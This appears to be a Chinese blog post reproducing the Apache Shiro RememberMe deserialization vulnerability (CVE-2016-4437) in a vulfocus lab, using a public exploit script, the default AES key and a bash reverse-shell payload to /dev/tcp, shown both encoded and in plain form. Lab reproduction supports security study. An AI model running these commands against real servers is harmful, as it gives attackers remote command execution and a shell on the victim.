Apache shiro反序列化(CVE-2016-4437)复现
一、原理分析
Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问
Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码
由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行
影响版本:Apache Shiro <= 1.2.4
二、环境准备
1、https://vulfocus.cn/平台搜索:shiro-cve_2016_4437,启动环境
2、一台公网服务器(没有的可以自己找环境搭建一个本地的环境)
3、利用脚本及ysoserial.jar下载地址:https://github.com/insightglacier/Shiro_exploit,脚本中的所有sleep都把他注释掉,不然可能会很慢。
三、漏洞复现
1、访问环境
2、用默认root账号密码登录,记得勾选上Remember Me
3、可以先用脚本测试下是否存在漏洞,脚本中也列出了比较多的key,可以测试出是采用了哪个key
python3 shiro_exploit.py -u http://123.58.224.8:42716
最终测试出,存在该漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==
又到了令人兴奋的利用环节了
先启动监听
再打开一个新的shell窗口,执行:
python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"
其中-u后面跟的是目标地址,-p后面是bash反弹shell的一种base64加密后的写法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1经过base64加密后的
执行后过会儿就可以看到shell反弹过来了
四、参考链接
1、https://blog.csdn.net/weixin_42019588/article/details/113395928
2、https://www.freebuf.com/vuls/284529.html
3、https://zhuanlan.zhihu.com/p/389768500
Apache shiro反序列化(CVE-2016-4437)复现相关推荐
- 【漏洞复现】Apache Shiro 反序列化漏洞
Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...
- Apache Shiro 反序列化漏洞 [org.apache.shiro.web.mgt.CookieRememberMeManager]
Apache Shiro 反序列化漏洞 2021-02-06 02:34:09,886 [http-bio-8000-exec-18] WARN [org.apache.shiro.mgt.Defa ...
- shiro反序列化漏洞学习(工具+原理+复现)
工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...
- 4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战
Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞.尽管该漏洞已经曝光几年,但是在实战中仍然比较实用.花了点 ...
- Apache shiro 漏洞总结
目录 Shiro简介 漏洞复现 CVE-2016-4437(Apache shiro反序列化漏洞) 影响版本 指纹信息 漏洞原理 环境搭建 漏洞复现 CVE-2020-1957(Shiro 认证绕过漏 ...
- Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)
Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...
- aes key长度_原创 | 浅谈Shiro反序列化获取Key的几种方式
点击"关注"了解更多信息 关于Apache Shiro反序列化 在shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露, ...
- Apache Shiro remember Me反序列化漏洞(Shiro 550)复现
Apache Shiro remember Me反序列化漏洞(Shiro 550)复现 什么是Shiro Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证.授权.加密和会 ...
- Apache Commons Collections反序列化漏洞分析与复现
聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...
最新文章
- 第三届山西省赛1004 一道大水题(scanf)
- ImageView宽度填满屏幕,高度自适应
- android toast有焦点,android – 如何在显示Toast后进行edittext自动对焦?
- 回答网友提问:如何自学 SAP 电商云,销售云,营销云这些产品的业务知识?
- 走近webpack(1)--多入口及devServer的使用
- sqlserver 字符串转换成日期、int与varchar类型转换及保留两位小数
- 【前端安全】JavaScript防http劫持与XSS (转)
- JS判断浏览器语言及终端类型(android/ios)
- Java并发编程实战读书笔记之死锁
- ClearCase项目管理介绍
- 第8集丨流氓皇帝,贬谪之路,险象环生
- LWN:32位Linux的未来!
- linux cpu占用分析,Linux下CPU占用率高分析方法
- RK3399 hi3559A 平台离线语音识别、合成、翻译、声纹
- 一个奇鸽船新体验:类似的木函软件
- Lyx使用对中文进行编译
- Win7 64bit 安装AutoCAD 2008
- Debian11.2安装Python3.10.5
- 时间控件-时分秒/分秒/年月日
- 基于PaddleDetection-YOLOV3做一个完整的图形目标检测项目